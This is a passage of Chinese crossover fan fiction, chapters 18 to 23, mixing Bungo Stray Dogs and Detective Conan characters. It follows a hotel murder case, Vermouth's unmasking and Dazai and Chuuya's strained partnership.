“真是抱歉,打断了你的推理。”工藤有希子脸上带着抱歉的笑意,“只不过我家孩子很聪明,说不定是发现了什么其他的事情。”
体贴大方,优雅端庄。
太宰治笑了笑:“当然。”
18. 第 18 章
小侦探打断太宰治后,面对整个大厅人的注视也没有怯场,姿态大方地说出了自己的推断:“这根本不可能是一场团伙作案。”
“因为死者的死因根本不是食物中毒而方才的那两位女士以为死者是食物中毒,根本就不可能是团伙作案。”
“你的意思是凶手是我吗?”黑发眼镜男眼神阴郁,他阴沉沉地看着工藤新一。
工藤新一没有证据,现在一切都只是他的推测,因此他面对男人的质问时没有表示什么。
虽然小侦探还没有推理出犯人,不过比起方才那位黑发青年一网打尽的推理好上不少。
不少人的视线落到黑发青年身上。
那位黑发青年正在跟他身边的橘发少年不知道在说什么,完全没有关注刚才站出来的小少年,像是自成一界,半点视线都没有分出来。
太宰治靠在中原中也身上,黑发和橘发泾渭分明又相互交缠。
棕发女人抬头看去,没忍住看了他们好几眼,这动作极细微,不是特意注意一般被不会发现。
很可惜,关注她们的人不少,顺着她们视线看过去的人也不少,不少人平白觉得噎得慌。
哈哈,总感觉我们不在一个片场呢。
“好无聊啊,中也。”太宰治神情懒懒。
对于早就知道结果的戏剧,他从来都抬不起兴趣。
中原中也没理他。
他和太宰认识的这两年,就没见过太宰治说过不无聊。
“中也,”太宰治拱了拱中原中也,“好讨厌,居然不理我。”
“知道了,”中原中也气鼓鼓,“你想干什么?”
太宰治慢慢站直身体,眼睛里是细碎的光,凑到中原中也耳边悄声说了些什么。
中原中也顿了顿,没急着答应,而是思索了一下。
“中也中也中也,”太宰治轻声怂恿着,语气里带着难言的兴奋,“我们还没这么玩过。”
中原中也轻咳一声。
他和太宰治能成为搭档这件事就说明了他和太宰治某方面还是很像的。
中原中也默认了。
太宰治向来不吝于给自己找点乐子,通常也不会落下中原中也,而中原中也一般不会拒绝。
现在也是如此。
中原中也先去找了萩原研二他们,这种事还是先打个招呼比较好。
他前往死者所在的酒店房间,房间内很干净,干净得过分了。
中原中也脱下手套,手指擦过桌子,带着浅浅的湿意。
这种程度的推理并不能难倒中原中也,他大概知道凶手的杀人手法了,不过他还是觉得很奇怪。
好在他不是来找凶手的。
另一边,工藤新一也推理出了凶手的犯案手法,正准备前往死者房间对自己的猜想进行进一步确认。
这个时间点他正好碰到从死者房间里出来的中原中也。
工藤新一眸光一凛。
他记得,眼前的少年是跟刚刚胡乱推理的黑发青年是一块的,他们是什么时候分开的?少年又为什么要来这里?
中原中也也没想到自己出来时能正好碰见刚刚的小少年,神色坦荡地与他和他身后跟着的松田阵平打了个招呼。
“走错了。”
松田阵平挑眉,没有对这个理由说什么。
工藤新一嘴角没忍住抽了抽,这么敷衍的理由谁会信啊?
“哦,好,你可以走了。”松田阵平死死压着嘴角的笑意,故作平静。
中原中也走了。
但现在并不是追问这个的时候。
工藤新一强行进入工作状态,进入死者房间。
工藤新一要抓狂了。
这里非常干净,也不缺线索,甚至将线索摆到了明面上了
不管是还在工作的加湿器,还是里面温度开到最低的空调。
工藤新一戴上手套,小心翼翼地拆开加湿器,里面甚至还留着的药物瓶子。
工藤新一沉默了。
他转头就跑。
死者的死因其实很容易就能够推断出来,并不是因为食物中毒,凶手通过在加湿器内下的毒,使死者吸入毒素而死。
案件的难点其实在于是谁动了加湿器。
因此三人的不在场证明就显得格外重要。
和他一起过来的松田阵平看了眼里面,没忍住挑了挑眉,只不过他的视线很快就顿住了。
他视线划过衣柜时,一种强烈的直觉袭击了他。
他从口袋中戴上手套,打开柜门,里面什么都没有。
松田阵平离远了点距离,端详了一下这个柜子的结构,手指敲了敲柜子底。
是空心的。
小侦探拔足狂奔,中原中也连同太宰治一块在破案子,小侦探来的时候,正好撞上最后一句话。
“因此凶手是佐藤先生。”
工藤新一:可恶,没赶上。
虽然工藤新一没有赶上推理的整个过程,但他还是长吐一口气。
凶手已经被抓到就好。
工藤新一长吐一口气,被指控的佐藤就没有这么轻松的心态了。
真实身份·犯罪组织·贝尔摩德:……
在场的佐藤并不是佐藤本人,是一名跨国犯
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罪组织成员。
代号贝尔摩德。
因为精通易容术所以被组织派来潜伏在死者安德森身边。
安德森和黑组织本来是合作关系,只不过最近他有些不安分,想要从组织身上获取更大的利益,却一点东西都不想给。
而组织正好已经厌倦了他的贪婪,于是决定让贝尔摩德潜伏在他身边,等贝尔摩德将他手中的所有资料拿到后灭口。
没想到先被这个身份的佐藤给杀了。
佐藤是昨天晚上给死者下的毒,而贝尔摩德则利用昨晚佐藤刚从死者房间内走出来神情恍惚之时将他打晕替换。
她不想跟那个鹰国男人扯上什么关系,才选了佐藤的身份,谁知道会爆这么大的雷。
贝尔摩德暗道一声晦气,但现在还在大庭广众之下,贝尔摩德没有轻举妄动。
她老实地走了一下流程,她明面上的身份是好莱坞巨星,演技出众,控诉死者的不做人行为时情真意切,最后颓丧地任由萩原研二扣上手铐交给晚来的目暮警官。
工藤新一没忍住叹了一口气。
明明有更好的方法。
而被留下来的金发女人和棕发女人在人散得差不多时,几乎同时冲到萩原研二面前,一个拿出自己的FBI证明,一个拿出自己的M16处证明,要求将这个案子移交给FBI/M16。
她们蹲安德森已经蹲很久了,都将安德森当做要到嘴的鸭子。
鸭子要跑了这谁能忍?!
“萩原,”松田阵平将萩原研二拉了出来,神情是难得的严肃,“你来看看这个。”
— —
傍晚,工藤宅附近新搬来一户邻居。
才赶完稿子的工藤优作端着咖啡站在落地窗前,看着对面进进出出的工人若有所思。
今天看来是不适合拜访新来的邻居了。
新搬来的邻居之一·中原中也正在做饭,另一个倒在客厅的沙发上控诉:“中也为什么不让我进去帮忙?!”
呵呵,你做的能不能吃都还不一定。
中原中也暂时还不是很想去一趟医院。
“哼,我要离家出走!”太宰治佯装生气,一步一挪,愤然发现中也一眼都没有看过来。
“记得带瓶酱油回来。”中原中也头也不回叮嘱。
太宰治跑了。
要想从警察手中脱身不难,但这次有FBI和M16处盯着。
贝尔摩德喘息着逃到了一处废弃的大楼,手臂上还在渗血。
“贝尔摩德,是吗?”
一个男人的声音响在她身后,在她耳边炸起一道惊雷。
19. 第 19 章
半夜,停尸房。
米花町的停尸房一向火爆,经常需要值守人大半夜还要工作,是个十分辛苦的工作。
好在也有不少偷懒的人,管事也都睁只眼闭只眼,何必要为难他们呢?
这方便了潜入进来的松田阵平和萩原研二。
他们通过窗户,轻巧地潜入了进来。
停尸房里摆满了尸体,这些尸体都是今天死的,要想找到安德森的尸体得一个个将白布掀开。
萩原研二一边嘴里念念有词,一边快速掀开遮脸的白布。
松田阵平仔细听了一下,发现他念的是:
安息吧,阿弥陀佛,愿上帝原谅你。
松田阵平:……
察觉到松田阵平的视线,萩原研二抬头回看过去,眼神里带着问询。
松田阵平摇摇头,没说话。
萩原研二继续翻。
又一个人跳了进来。
松田阵平和萩原研二齐齐望去,三人对视一眼,陷入了一种无言的安静。
来人正是刚搬家的中原中也。
萩原研二正准备张口就来:这么巧啊。
张到一半想起这是个什么地方,遂闭上嘴。
松田阵平就没有想那么多了,他指了指另一边:
那边是还没掀过的。
中原中也轻轻跃到松田阵平指出来的地方,也开始翻白布。
中原中也的运气很好,只翻了两三块就把安德森给翻出来了。
安德森的嘴唇发紫,才死一天,也没有什么尸斑,是典型的鹰国人长相。
中原中也瞳孔紧缩,手指目的明确地伸向安德森的衣领处。
被拦下来了。
挡住他手的是萩原研二,他从口袋中掏出一双手套递给中原中也。
中原中也轻声道了句谢。
解开衣领,安德森胸口处大片大片的刺身映入在场三人的眼帘。
——是一座钟。
松田阵平和萩原研二都不认识这个刺身,不禁垂眸思索着这个钟塔的含义。
是钟塔侍从的人。
中原中也几乎不用思考就能得出这个结论。
中原中也强行使自己冷静下来。
这件事发生在这个世界,太宰和港口Mafia都没有参与进来,任谁查也查不出来疑点。
接下来的时间,中原中也都保持着一种沉默的状态。
他还没学会如何完美掩盖自己的情绪。
松田阵平和萩原研二对视一眼,都看出了中原中也的心不在焉。
松田阵平看向萩原研二。
萩原研二微微摇头。
现在不是合适的时机。
他们与中原中也只认识了不到两天,这时候问出口不一定能够得到答案,甚至会提高中原中也对他们的防备。
甚至……
萩原研二脑海中闪过松田阵平找到的那份资料:
关于人造神明的可行性和研究进展。
里面的数据繁杂庞大,光看这些数据很难看出这是一项什么样的实验,但这项研究的标题已经说明了一切。
人体实验。
那份资料最早甚至能够追溯到二十年前。
联想到中原中也如今才十七,再加上他身上的谜团,萩原研二很难不怀疑他是否就是那项实验的幸存者。
中原中也面对这场由他发起的沉默,不免有些头疼。
他本来只以为那份资料只是这个世界人弄出来的人体实验,中原中也在这几天的相处中也算了解眼前两人的性格。
他们都不是会将这件事情掩盖下去的警察。
所以他才会故意将那份资料留在原地。
但他没想到那个人居然来自钟塔侍从。
这下事情可就麻烦了。
中原中也烦躁地揉了揉头发,开口打断这场沉默:“你们看到那份文件了吧?”
幼驯染二人都顿了顿,松田阵平率先开口:“对,如果你相信我们的话,可以将知道的事情都告诉我们。”
“不想说的话,也没关系。”萩原研二接话,“这都是你的选择。”
说话时两人的神情都带了些小心翼翼的,像是生怕戳到眼前少年的伤心事。
“这件事你们不要继续管了。”中原中也冷静道,“我会解决。”
这不是这个世界的人能解决的事情,就算是天然具有优势的警察也不行。
松田阵平皱了皱眉,似乎想要说些什么,被萩原研二拦了下来:“小中也,这件事是你有意让我们知道,现在拒绝让我们参与进来,是因为那个男人身上的纹身吗?”
中原中也皱了皱眉,没说话。
萩原研二已经知道答案了,他继续引导:“小中也,我们现在已经知道了,你如果什么都不告诉我们,说不定我们私底下会进行调查,但你如果让我们参与进来我们做什么你不是都知道吗?这样你也可以更好地将我们隔绝在危险之外。”
可惜中原中也脸上露出点笑意,眸子却坚定极了没有半点被打动的动摇。
他拒绝:“不,这种事情只要掺和进来就会遇到危险,只有远离才能安全。”
萩原研二还想接着说什么,中原中也已经离开了。
这是一个没有异能的世界,甚至普通人的记忆会自动被更加科学的事情覆盖。
那么,这件事情就要尽快解决了。
越迟引起的波动就越大。
中原中也并没有第一时间回去,而是先转道去了杯户广场的摩天轮。
昨天才发生一起爆炸案,这里的人并不是很多,中原
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中也很轻易就坐上了他想要的车厢。
72号。
他进去的时候里面已经有人了,是个黑发混蛋。
黑发混蛋若无其事地看向窗外,好像没有注意到正准备要上来的中原中也。
“让开一点啊,混蛋太宰。”中原中也先是怔了怔,再开口时眼里带了点笑意,细碎的,连他自己都没有意识到的。
“中也不是应该在家里做饭吗?”太宰治脸上的伪装也快撑不住了,只剩一层浅浅的皮笑肉不笑,“是跟谁约会要避开我所以才把我支出去的吗?”
中原中也锤了他一下。
颠倒黑白。
偏生太宰治还觉不满,继续嚷嚷着:“所以果然是中也觉得我年纪大了,不年轻了,想要去找更年轻的了!”
“哈?那你看看现在是谁跟我在一起啊?”中原中也还是没忍住反唇相讥。
“是我啊。”太宰治气焰更甚,“但这是中也你说谎的理由吗?”
中原中也真是要气笑了。
摩天轮动起来了,高度正在慢慢上升。
夜色很美。
中原中也的眼睛落在窗外,没再继续看太宰治,他的眼睛挪不开了。
太宰治的眼睛也是。
他们都没有说话,好像是什么心照不宣的比赛。
摩天轮快要升到最高点了。
太宰治冷不丁开口:“中也,你是不是要走了?”
明明该是疑问的语气,他的态度却像是怀抱着答案来问问题。
“没有。”中原中也没好气地回答。
太宰治瞳孔微微放大,脸上空白一片,嘴角是机械性的勾起但很快变得真心实意,嘲讽的语气也变得柔软起来:“中也这次的眼光居然还不错。”
中原中也的余光一直在瞥着太宰治,一直被他放在身后的相机闪了一下,正好照出现在太宰治的表情。
中原中也扶着车厢里的栏杆,眼睛也不看外面的夜色了,就这么笑着,那双蓝眸盈满了笑意。
太宰治耳朵红了,转头不再看向中原中也。
车厢里只剩下中原中也的笑声。
这回是中原中也先说话:“太宰,外面有烟花。”
“我知道。”太宰治闷闷地。
底下有人惊呼:“烟花有字哎。”
烟花的光照亮了夜幕,中原中也很轻易就能看清上面的字。
小矮子,十九岁生日快乐。
小蛞蝓,二十岁生日快乐。
讨厌的搭档,二十一岁生日快乐
中也,二十三岁生日快乐。
中原中也眸底带了些湿意。
是十八岁啊。
车厢里一片沉寂,黑发青年没有说话,橘发少年也没有开口。
他们好像都忘记了说话。
20.第 20 章
酒吧,组织据点之一。
金发黑皮的青年姿态慵懒地坐在吧台座位处,一手撑头满脸百无聊赖看着调酒师为他调酒。
调酒师拥有着跟青年一模一样的脸,他冷冷地开口:“贝尔摩德,你差不多够了。”
不知道贝尔摩德发什么疯,今天一晚上都是他的脸。她任务失败的事情已经在组织传开了,那个任务他也知道,并算不上很难。
青年眸子里划过几分探究。
青年是组织成员,代号波本,但他的真名叫降谷零,是日本公安卧底,现在他正以安室透的身份潜伏在这个组织。
贝尔摩德手指划过青年的胸口,轻轻点了几下,依旧是安室透的声音:“波本,不要这么心急,该你知道的,你会知道的。”
安室透眉眼冷了下来,他冷笑:“贝尔摩德,第二次。”
贝尔摩德毫不留恋地收回手,抬手将易容卸了下来,露出下面那张昳丽的脸,长长的金发有几缕垂在她脸颊两侧,她叹气:“没有情调。”
“说起来算是我倒霉,任务对象先死了,我易容的那个还是凶手,脱身麻烦了点。”贝尔摩德此时的心情看起来还算不错,十分爽快地就告诉了安室透事情经过。
和组织里现在传的版本只是一些细节上的差异。
“波本,你以为是什么呢?”贝尔摩德与安室透对视。
安室透留了几分余地,他跟贝尔摩德算是相互利用的关系,明面上的关系还是要好好维持。
“只是有些担心你。”
安室透脸上的神情无懈可击,眉眼舒展,看不出什么情绪。
贝尔摩德收回视线。
波本算是近来组织中的新秀,除了性格有些装模作样外,还挺合她胃口的,只不过,还是没有她的命重要。
“Boss很快就会来找你。”
贝尔摩德离开了,安室透接到了一条简讯,没有署名,也查不到发信地址,上面只有一句话:
抓住中原中也。
酒吧的灯光打在安室透脸上,晦暗不明,看不清他眼底神色。
贝尔摩德离开酒吧后,回了自己的安全屋。
她其实很少来这,一般是住在酒店,但那个青年留给她的印象实在太过恐怖。
贝尔摩德已经很久没有感受到这么纯然的恐惧了,她需要一个安全的地方。
可惜没什么用,就算沉入梦乡,她还是忍不住颤抖着,耳边好像又响起青年的声音。
“贝尔摩德,是吗?”黑发青年声音其实并不恐怖,甚至带着些温和与兴味,如果贝尔摩德当时不是在逃命的话。
贝尔摩德警惕地看着突然出现的青年,她握住藏在身后的手枪,拉开保险栓。
她对眼前的青年没什么恶感却也没有什么怜悯,但她又不是什么大善人。
机会只有一次。
贝尔摩德压抑着因失血产生的颤抖,慢慢走近青年,青年也没有阻止:“我身上受伤了,现在警察在追我,你是组织过来接应我的吗?”
她不知道青年是从哪知道的代号,但组织可没有那么简单。
这是一栋废弃大楼,没什么人经过,里面空旷极了,是个十分适合开枪的地方。
太宰治等待着女人的靠近,在她快要接近射击范围时:“停。”
黑发青年眉眼疏懒,口吻轻松:“我家小矮子还在家里等我,还是不要靠得太近为好,要是小矮子闻到你身上的味道以为我出去做什么了怎么办?”
好像现在的场景不是荒芜的废弃大楼,而是声色犬马的酒吧里。
贝尔摩德嘴角微抽。
在酒店的时候她就看出来眼前黑发青年不太正常。
贝尔摩德的思绪出神了一瞬:她真的要警惕眼前的男人吗?
但很快她又重新升起警惕,真傻子找不到她头上来。
“莎朗·温亚德。”太宰治接下来的话证实了贝尔摩德的猜测,他弯起眸子,里面却没有丝毫笑意,像是冷漠的木偶,今天在酒店和橘发少年搞恶作剧的青年好像根本就不存在。
“或许我该叫你克丽丝·温亚德。”
贝尔摩德好像被人泼了一桶冰水,现在浑身发冷。
这是她最大的秘密,只要这件事情被爆出来,整个世界都是她的敌人。
没有人不想要长生不老,青春永驻。
尤其是那些站在高处的人。
组织根本不会保她,说不定还会主动将她献出去。
要杀了他,他决不能活下去。
这是一个不用思考就能得出的结论。
“唔,母女都是自己,感觉很有意思。”太宰治好像忘记了一旁的贝尔摩德,兴致勃勃,“这么难得的体验小狗怎么能没有呢?这可是人生体验中最重要的一环啊!”
“你说对吗?莎朗·克里斯小姐。”
贝尔摩德举起手臂,枪口对准太宰治的头。
太宰治对上贝尔摩德举起的枪口,脸上带着微笑,他没有避让。
枪炸膛了。
“枪好用吗?”太宰治问。
他早有预料。
贝尔摩德瞳孔紧缩。
他是什么时候做的手脚。
“是在酒店的时候。”太宰治好像知道贝尔摩德在想些什么,“你的伪装真是拙劣极了。”
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不是带着恶意的讽刺,而是叹息,这种叹息让人更加难以容忍。
贝尔摩德安静下来,她手上鲜血淋漓,过多的失血量让她眼前发昏。
她不能晕过去,晕过去就真的任人鱼肉了。
她像美人蛇一样盘踞起来,等待着第二个机会。
“莎朗·温亚德,活跃在上世纪的好莱坞巨星,现在已经去世了,她的女儿克丽丝·温亚德继承了她的事业,也成了一名演员,现在还活跃在影坛上。”
黑/手党向来讲究斩草除根,不过她还有用。
“谁能想到当年的实验体居然成了现在的巨星,都不好动手了。”太宰治的语气平静、高高在上,就好像眼前的女人不是人,而是一件物品。
像是那些在她身上做试验的研究员。
贝尔摩德眉眼间的冷意几乎要溢出来了。
她厌恶极了这种语气,就好像她还是当年那个对在自己身体上实施实验无可奈何的小女孩。
贝尔摩德,Boss最“宠爱”的女人,最完美的实验体。
也是唯一一个。
剩下的都死了。
“We are both angels and devils.To reverse the tide of time and resurrect the dead.”
贝尔摩德低喃。
我们是天使也是恶魔,我们要逆转时间的洪流,让死者复生。[1]
太宰治脸上的表情逐渐冷淡:“真是伟大的愿景啊。”
真是令人作呕。
贝尔摩德嗤笑一声。
她不觉得现在这种情形青年还能放她离开,也没什么心情去讨好他。
“看来你不太喜欢这句话,是因为,”太宰治顿了顿,“你不想要永生吗?就像苹果,表面还是红润的,其实内里已经腐烂不堪,再好看的皮囊也掩盖不了它慢慢散发出来的已经腐烂的味道。”
贝尔摩德猛地抬头看向太宰治,身体不受控制地战栗起来。
人没什么好怕的,可怕的能够窥伺人心的怪物。
眼前的青年是其中翘楚。
怪物还在继续说话,她什么都听不清了。
只剩下最后一句。
“这是微型炸弹,会随着你的血液流动,遥控器在我手上。”
“如果你有什么小动作的话,会死的。”
黑发青年容色俊美,在贝尔摩德眼中却好似恶鬼在世。
“快到时间了,要赶不上约会了。”太宰治看了眼手表,没管地上的贝尔摩德。
“那么,下次再会。”
21.第 21 章
太宰治最近一直在躲着中原中也。
是从摩天轮下来后的事情。
中原中也尝试逮过太宰治,只是总被他逃掉。
只要太宰治不想,谁也找不到他。
这段时间,附近的邻居都过来打过招呼。
比如隔壁的工藤一家都是很好的人,上次在酒店见过的小少年就是他家的孩子,理想是成为一名侦探。
还真是跟太宰治说得一模一样。
再旁边住的是阿笠博士,他是个很有意思的发明家。期间松田阵平和萩原研二来过一趟,他们都默契地没有提起上次的事情。
松田阵平和阿笠博士相见恨晚,他们在院子里讨论小型滑翔伞在高层爆炸时逃生的普适性。
灵感来源:中原中也。
萩原研二则担负起寒暄的重大职责,“太宰君呢?”
“他啊,”中原中也脸上神色平淡极了,“不知道哪去了,可能是找个地方入水了吧。”
萩原研二觑着中原中也,紫灰色的眼睛没忍住瞪大了一瞬,随后反应过来。
是闹别扭了吧?
不过这个时机正好。
萩原研二严肃着脸:“小中也,你和太宰君是不是恋人?”
中原中也:?
中原中也整个人都要炸了,他差点跳起来,一脸惊恐,说话声音都尖锐了起来:“谁会和那个混蛋青花鱼是恋人啊!”
他身上的鸡皮疙瘩都起来了。
罪魁祸首萩原研二眨眨眼,也没反驳:“那应该是我弄错了,真是抱歉啊,小中也。”
看起来完全不像啊。
看喜欢的人与看朋友之间的眼神是完全不一样的,不过,这算得上是好事了。
小中也毕竟才17岁。
萩原研二转了话题:“那小中也你有想过要去上学吗?”
中原中也:要不我们还是回到之前的话题吧?
中原中也支支吾吾。
他总是很难面对突如其来的好意,更何况他又不是真的失学少年。
萩原研二体贴地没有继续这个话题:“说起来,小中也,你还记得那个炸弹犯吗?他前几天死了,是自爆。”
“你们没事吧?”中原中也担忧。
“没事哦,他自爆的时候我们不在现场,不过听小阵平说那个炸弹的威力只够把那个炸弹犯炸死。”
“正好是放烟花那天。”
“啊,哦。”中原中也愣了愣。
警察二人组走后没多久,外面就下雨了。
雨很大,还有响雷。
“叮咚——”
门铃响了。
中原中也没动,门口的人也没进来。
门铃疯狂响动。
“叮咚——”
“叮叮叮咚咚——”
“叮叮咚叮咚叮叮咚——”
像是进入了僵持阶段。
最后还是中原中也服输,他去开了门。
门口太宰治身上已经被浸湿了。
中原中也冷了脸,将手上的毛巾往他头上一甩。
太宰治也有些后悔。
他在房子里装了窃听器,中也跟那个警察说的话他都听见了。
“恋人,恋人,恋人。”太宰治的脑子宕机了一瞬,很快就被中也的声音给喊回来了。
“谁会和那个混蛋青花鱼是恋人啊!”
太宰治手上本就遭受磋磨的情报纸被戳了几个洞。
哈!
太宰治当即就从临时租的小房间气冲冲地离开了,毫不迟疑。
只不过越接近,太宰治的动作越发迟疑。
他租的小房间离这里不远,走路只要五分钟。
第一分钟太宰治怒气冲冲。
第二分钟太宰治开始迟疑。
第三分钟太宰治脚步放慢。
第四分钟太宰治他突然拥有了一双发现世界美的眼睛。
这花长得好花,这太阳好太阳,这条河长得好适合入水。
等他爬上来后,已经下雨了。
太宰治站在门口,犹疑了许久按了一下门铃。
中也没开门。
太宰治莫名的心虚被生气取而代之。
他看起来十分闲适地站在门口,一只手插在他还在滴水的衣兜里,一只手手指不停地按动着门铃。
口袋里的钥匙被他“忘”得一干二净。
大概响了七八个回合,脚步声接近了。
中也开门了。
中也很生气。
太宰治不敢说话。
但是中也一直不说话,太宰治理不直气也壮
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。
“是中也说,要是我叛逃的话中也要杀了我的。”太宰治大叫,“中也还怪我为什么要躲着你,还一直不说话!讨厌中也!”
中原中也更生气了,他也大声道:“可是你不是活得好好的吗!”
太宰治口不择言:“那是因为中也一直没有回来,一直在外面……”
他哑火了。
太宰治的下颌紧绷了一瞬,不知道想到了什么。
吵架这种事只有一点停顿就会陷入劣势,更何况太宰治已经哑火了,中原中也乘胜追击。
“就算杀不了你也可以给你找麻烦!我找了吗!”中原中也停顿了一下,好像有哪里怪怪的。
太宰治不说话了。
中原中也探头过去,被瞪了一眼。
中原中也没管,抬手凑到太宰治脸侧。
太宰治没躲。
“太宰,你耳朵怎么红了?发烧了?”中原中也另一只手拉住太宰治的手臂,制住了他想要跑掉的动作。
十七岁的太宰治身体不好,偏偏又喜欢住在集装箱还喜欢作死,每次发烧都是部下打给他,被他领回自己住处。
太宰治发烧的时候就是浑身都红着,他才从水里出来又淋了雨。
啧。
中原中也偏了偏头,有点烦躁,压着太宰治,倾身过去。
太宰治一动不动,好像呼吸都停滞了。
他看着中原中也的脸逐渐凑近,温热的呼吸打在他的脸上,从他的视角可以看到中原中也长而密的睫毛,根根分明,对上视线,太宰治眨了眨眼。
被敲了一下。
“别乱动。”中原中也俯身与太宰治额头相贴。
温度好像正常。
太宰治脸上盈出一点笑意。
“去洗澡。”中原中也没忍住又敲了一下。
太宰治没动,他攥着中原中也的手,脸贴近中原中也,鸢色的眸子里映照着中原中也:
“中也不问问我想干什么吗?”
“你会说吗?”中原中也轻嗤一声。
他最讨厌太宰治这一点,什么都不说,推着所有人往他既定的方向走。
“会啊,我想要复活中也。”
太宰治双手环住中原中也的腰,湿哒哒的头发濡湿了一片中原中也的衣服。
22.第 22 章
中原中也陷入了默然。
现在的他还没有经历过太宰治叛逃,还没有自己身后再没有那条青花鱼的实感。
换句话说,他对现在的太宰治所有的应对方法都是十七岁时候的版本。
一个早就落后的版本。
中原中也觉得自己应该说点什么,但好像又没什么必要。
不要复活?我不想复活?
中原中也沉默了很久。
“哦。”
“中也不阻止我吗?”太宰治没有看着中原中也的眼睛,手指轻颤着。
“我不知道。”中原中也坦然。
就算他们之间看起来再有默契,他们之间也差了5年,这段时间能够发生很多事情的。
中原中也没有问过太宰治他为什么会叛逃。
放弃他港口Mafia的干部之位,放弃他在港口Mafia的所有联系,放弃搭档。
“不过,随便你。”
中原中也这段时间也想了很多,他和太宰治是完全不同的人,他完全不能理解太宰治,以后也不需要理解。
中原中也避开太宰治的眼睛。
他没有22岁的中原中也有5年的时间来缓冲。
中原中也能做的只有极力压制住心里莫名其妙产生的火气和掺杂其中说不清道不明的细微空落落。
“中也是什么意思?”太宰治从中原中也的话里察觉到什么极为可怖的东西,攥住中也的手手指缩紧,用力到指尖发白。
中原中也没动,他只是很平静地叹了口气:“太宰,我去给你煮姜汤。”
“滚!”太宰治低吼。
中原中也扯了扯自己还在太宰治手上的手。
显然另一个人没有要放手的打算。
太宰治要委屈死了。
明明都是中也的错,中也居然还跟他划清界限,怎么会有中也这样的人!
“中也为什么不说话?”太宰治扯了扯嘴角,满腔怨言都有了可以涌出的出口,“中也也知道是自己理亏吗?因为叛逃所以把我们之间的事情当做没有发生……”
中原中也打断他:“混蛋太宰,你先去洗澡。”
他不想在这个时候跟太宰治吵架,真吵起来太宰治也不用洗澡了,直接去医院吧。
他看起来冷静极了,越发显得在乎那些事情的太宰治“无理取闹”。
太宰治要气炸了。
“中也就是最讨人厌的小狗!”他吼。
“那也不是你的狗!”中原中也忍了又忍,还是没压住心里不住往上蹿的邪火。
这种程度的嘲讽在十七岁其实都算不上什么,吵得更凶的时候也不是没有。
从那家伙口中脱口而出的只会是:
“中也脖子上明明带着我的狗牌,明明就是我的狗嘛!”
太宰治死死咬着嘴唇,口腔里满是血腥味,他冷笑:
“中也脖子上带着的狗牌上明明写着我的名字,还会是谁的狗呢?”
“流浪狗啊。”中原中也想也不想。
站着的那个偏头过去没再说话,坐着的那个脸上表情空白。
“我去厨房。”中原中也冷静下来。
被主动抛弃的流浪狗要离开原主人才能活下去。
太宰治重回中原中也视线的时间点很好。
那时候的中原中也已经长成了不需要太宰治也可以过得很好的人了,以至于太宰治总是很容易忽略一点:
那些没有太宰治的时候,都是中原中也一个人走过来的。
在他不知道的时候,中原中也已经走了很长一段路了。
中原中也从厨房出来的时候,太宰治已经老老实实把自己弄好了。
安分得不像话。
中原中也把姜汤递给太宰治,没再夹着火气:“等凉点再喝。”
他也没管太宰治脸上的表情:“你想怎么做?”
太宰治宕机的脑子终于恢复了一点反应,他顿了顿:“不能说。”
“你需要我怎么做?”中原中也没多问,直接跳到下一个话题。
简单直接高效。
是所有战术师和执行者最理想的状态。
没有多问,不会怀疑。
执行者就是战术师思维的延伸,他不需要思考。
和他们之间任何一次作战完全不同。
不应该是这样的,中也应该生气的,应该吵架的,应该大吵特吵的。
太宰治喝了一口姜汤。
烫、辣。
嗓子好像被黏住了,说不出话来。
太宰治还没说话,中原中也就先否了自己的提议。
“算了。”
中原中也对于太宰治的沉默没有多意外,只当是还没到时候,“你在家待着,我出去一趟。”
他身上的衣服很适合出门,浅灰色的连帽卫衣,帽子很大,完全可以盖住他的整个头。
应该是在太宰治回来前就已经准备好要出门了,只是被太宰治打乱了计划。
太宰治无措地抓住中原中也的衣角:“什么时候回来?
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”
“大概要晚上。”中原中也没准备跟太宰治冷战,刚才属于话赶话,没过脑子。
不然也不能一口气骂了两个人。
“厨房还有姜汤,你自己看着点喝,发烧了还是我照顾你。”中原中也口吻温和了下来,身体却不自觉跟太宰治保持着距离。
温和绅士。
就跟对待所有不熟的人一样。
可他们从来都不是这种关系,也从没有过这种状态。
太宰治知道中原中也要去做什么。
这是他计划好的,中也不会有危险的。
为什么他这么慌?
太宰治沉默的时间太久了,中原中也抽出手准备离开了。
“中也,不要去。”太宰治语气冷了下来。
“好。”中原中也没有多问,答应下来。
太宰治应该高兴的。
中也还是完全地相信他。
太宰治却觉得他快要喘不过气来了,心脏一抽一抽地疼,口腔里血腥味还没散尽,好像更浓了。
是要死了吗?要见到中也了吗?
中原中也反手握住太宰治的手,手指强硬地撬开太宰治死死咬住的唇,里面都是伤口,他眉眼间不自觉带了些担忧:
“太宰,松口。”
中原中也的手指替代了太宰治的唇,被他咬着。
他不知道为什么一点气也生不起来了。
“混蛋太宰,松口,”中原中也和太宰治一块挤在沙发上,“不然我就咬你了。”
中原中也恫吓。
熟悉的声音让他慢慢放松下来。
“哈,唔会啪楚呀(我会怕中也)?”太宰治没松口,神采慢慢染上他的眼眸。
中原中也说到做到,压着太宰治在他脖子上咬了一口。
牙印很深,不比太宰治留在他手指上的浅多少。
“中也是小狗!”太宰治低声蛐蛐。
“为什么叛逃?”可能是才报复回来,可能是现在的中原中也还没有真的失去搭档,所以问起这个问题毫不遮掩。
“因为,我找不到生存的意义。”太宰治垂下眸子。
“我知道了。”中原中也不算很意外,“等22岁的中原中也回来了,你自己告诉他。”
“他应该很难过。”
因为我也很难过。
中原中也始终对太宰治的叛逃没有实感,可就算是这样也已经很难过了。
细细密密的疼意爬上他的心脏。
就像十六岁一样。
23.第 23 章
霓虹对□□的管控一向宽松,基本上已经融入了霓虹大众的生活。
酒吧算是重灾区了。
夜色就是泥惨会底下一个酒吧,给泥惨会创造了不少利润。
前几天夜色来了个人砸场子,穿着兜帽卫衣看不清脸,一来就打伤了夜色不少打手。
最后还全身而退了,夜色最近因为那个兜帽冷清了不少,泥惨会很多私底下的小动作也搞不下去了。
泥惨会的少东家金大郎手底下最赚钱的就是夜色了,结果月度报表到他手里:夜色最近不仅没挣钱还隐隐有亏损的倾向。
金大郎双手交叉放在桌子上,似笑非笑地看着眼前的男人。
“都是那个兜帽!”一旁站着的夜色经理战战兢兢的,察觉到男人的视线落在他身上脱口而出,生怕慢一步就被人拖下去了。
“是吗?”金大郎脸色阴鸷,他站起身走到经理面前,居高临下,“你的意思是你们这么多人让一个连脸都没见过的人给挑了?”
这事放出去是可以当做笑话的程度了。
经理当即跪下,颤抖着不敢说话。
“泥惨会不需要废物。”金大郎抬手。
门外守着的打手走了进来。
经理被拖下去了,半点声息也没留下。
“长什么样?”一道阴冷的声音从门口传来。
